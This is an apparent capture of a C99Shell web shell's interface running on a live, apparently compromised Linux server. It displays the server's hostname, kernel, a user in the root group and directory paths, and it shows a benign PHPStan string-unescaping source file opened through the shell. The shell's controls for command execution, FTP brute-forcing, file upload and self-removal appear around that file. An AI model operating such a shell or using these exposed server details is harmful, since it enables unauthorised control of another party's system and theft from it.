!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html_v5_6/vendor/phpstan/phpdoc-parser/src/Parser/   drwxr-xr-x
Free 28.78 GB of 117.98 GB (24.4%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     StringUnescaper.php (2.22 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php declare(strict_types 1);

namespace 
PHPStan\PhpDocParser\Parser;

use function 
chr;
use function 
hexdec;
use function 
octdec;
use function 
preg_replace_callback;
use function 
str_replace;
use function 
substr;

class 
StringUnescaper
{

    private const 
REPLACEMENTS = [
        
'\\' => '\\',
        
'n' => "\n",
        
'r' => "\r",
        
't' => "\t",
        
'f' => "\f",
        
'v' => "\v",
        
'e' => "\x1B",
    ];

    public static function 
unescapeString(string $string): string
    
{
        
$quote $string[0];

        if (
$quote === '\'') {
            return 
str_replace(
                [
'\\\\''\\\''],
                [
'\\''\''],
                
substr($string1, -1)
            );
        }

        return 
self::parseEscapeSequences(substr($string1, -1), '"');
    }

    
/**
     * Implementation based on https://github.com/nikic/PHP-Parser/blob/b0edd4c41111042d43bb45c6c657b2e0db367d9e/lib/PhpParser/Node/Scalar/String_.php#L90-L130
     */
    
private static function parseEscapeSequences(string $strstring $quote): string
    
{
        
$str str_replace('\\' $quote$quote$str);

        return 
preg_replace_callback(
            
'~\\\\([\\\\nrtfve]|[xX][0-9a-fA-F]{1,2}|[0-7]{1,3}|u\{([0-9a-fA-F]+)\})~',
            static function (
$matches) {
                
$str $matches[1];

                if (isset(
self::REPLACEMENTS[$str])) {
                    return 
self::REPLACEMENTS[$str];
                }
                if (
$str[0] === 'x' || $str[0] === 'X') {
                    return 
chr((int) hexdec(substr($str1)));
                }
                if (
$str[0] === 'u') {
                    return 
self::codePointToUtf8((int) hexdec($matches[2]));
                }

                return 
chr((int) octdec($str));
            },
            
$str
        
);
    }

    
/**
     * Implementation based on https://github.com/nikic/PHP-Parser/blob/b0edd4c41111042d43bb45c6c657b2e0db367d9e/lib/PhpParser/Node/Scalar/String_.php#L132-L154
     */
    
private static function codePointToUtf8(int $num): string
    
{
        if (
$num <= 0x7F) {
            return 
chr($num);
        }
        if (
$num <= 0x7FF) {
            return 
chr(($num >> 6) + 0xC0)
                . 
chr(($num 0x3F) + 0x80);
        }
        if (
$num <= 0xFFFF) {
            return 
chr(($num >> 12) + 0xE0)
                . 
chr((($num >> 6) & 0x3F) + 0x80)
                . 
chr(($num 0x3F) + 0x80);
        }
        if (
$num <= 0x1FFFFF) {
            return 
chr(($num >> 18) + 0xF0)
                . 
chr((($num >> 12) & 0x3F) + 0x80)
                . 
chr((($num >> 6) & 0x3F) + 0x80)
                . 
chr(($num 0x3F) + 0x80);
        }

        
// Invalid UTF-8 codepoint escape sequence: Codepoint too large
        
return "\xef\xbf\xbd";
    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0037 ]--